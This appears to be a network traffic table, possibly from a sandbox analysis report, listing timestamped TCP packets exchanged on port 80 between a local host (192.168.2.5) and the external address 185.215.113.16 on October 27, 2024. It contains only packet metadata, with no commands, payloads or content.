Oct 27, 2024 20:15:33.202181101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202214956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202230930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.202249050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.202295065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.228296041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228351116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228380919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228415966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228411913 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.228468895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.228472948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228524923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228559971 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228573084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.228593111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228626013 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228640079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.228660107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228694916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.228729963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.250050068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.250081062 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.250111103 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.250133038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.250168085 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.250174999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.250201941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.250240088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.250263929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.252346039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.252376080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.252408981 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.252409935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.252444029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.252454042 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.252667904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.252702951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.252717972 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.252759933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.252827883 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.252896070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.252979994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253010988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253025055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253066063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253112078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253118992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253156900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253197908 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253209114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253268003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253313065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253317118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253350973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253382921 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253396988 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253412962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253444910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253468037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253479958 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253511906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253520966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253546000 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253587008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253602982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253635883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253688097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253676891 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253721952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253755093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253767014 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253791094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253823996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253839016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253855944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253885984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253901958 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253918886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253952026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.253976107 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.253983974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.254019976 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.254033089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.254050016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.254082918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.254093885 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.254122972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.254152060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.254178047 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.297415018 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.411278963 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.416821003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689254045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689316034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689352036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689421892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689450026 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.689456940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689501047 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.689511061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689546108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689579964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689606905 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.689632893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689651966 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.689672947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689708948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689738035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689766884 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.689785004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.689791918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689826012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689856052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689907074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689907074 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.689940929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689992905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.689997911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690030098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690040112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690058947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690092087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690124989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690159082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690210104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690243006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690267086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690272093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690284014 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690323114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690356970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690390110 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690413952 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690423965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690448999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690457106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690490007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690522909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690550089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690558910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690566063 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690591097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690639019 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690642118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690676928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690710068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690745115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690761089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690787077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690794945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690900087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690934896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.690962076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.690968037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691003084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691035986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691061974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691071987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691082954 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691104889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691138983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691152096 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691175938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691210032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691242933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691266060 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691277027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691287041 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691387892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691422939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691457033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691484928 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691493988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691509008 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691528082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691562891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691585064 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691596031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691629887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691648006 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691664934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691698074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691709042 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691730976 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691766024 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691801071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691817999 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691836119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691843987 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691870928 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691905975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691919088 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.691939116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.691972971 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.692007065 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.692034006 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.692054987 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.806482077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806613922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806653976 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806688070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806718111 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.806723118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806756020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806775093 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.806792974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806817055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.806824923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806859970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806894064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806905031 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.806927919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806957960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806973934 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.806992054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.806999922 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.807028055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.807058096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.807076931 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844120979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844188929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844214916 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844259977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844317913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844372034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844388008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844439983 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844475031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844491005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844520092 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844527006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844580889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844616890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844659090 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844686985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844719887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844747066 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844773054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844805002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844841957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844855070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844872952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844906092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.844918013 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.844954967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845006943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845007896 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845065117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845096111 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845120907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845141888 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845154047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845192909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845227003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845233917 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845278025 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845310926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845331907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845350027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845383883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845417023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845426083 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845449924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845509052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845510960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845541954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845575094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845590115 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845608950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845644951 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845673084 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845676899 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845681906 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845710993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845760107 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845762014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845798016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845833063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845879078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845885992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845917940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845947027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.845952988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.845988035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846009016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846045017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846077919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846122980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846129894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846163988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846184969 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846199989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846230984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846263885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846277952 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846297979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846313953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846329927 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846371889 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846381903 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846415997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846451044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846470118 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846484900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846518993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846569061 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846576929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846628904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846657991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846676111 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846689939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846693993 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846724987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846770048 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846770048 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846807003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846841097 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846853971 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846874952 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846908092 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846940994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.846955061 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.846975088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847009897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847018003 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.847040892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847053051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.847074986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847107887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847120047 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.847142935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847173929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847208023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847218037 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.847242117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847275019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847285986 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:33.847306967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:33.847336054 CET	49719	80	192.168.2.5	185.215.113.16
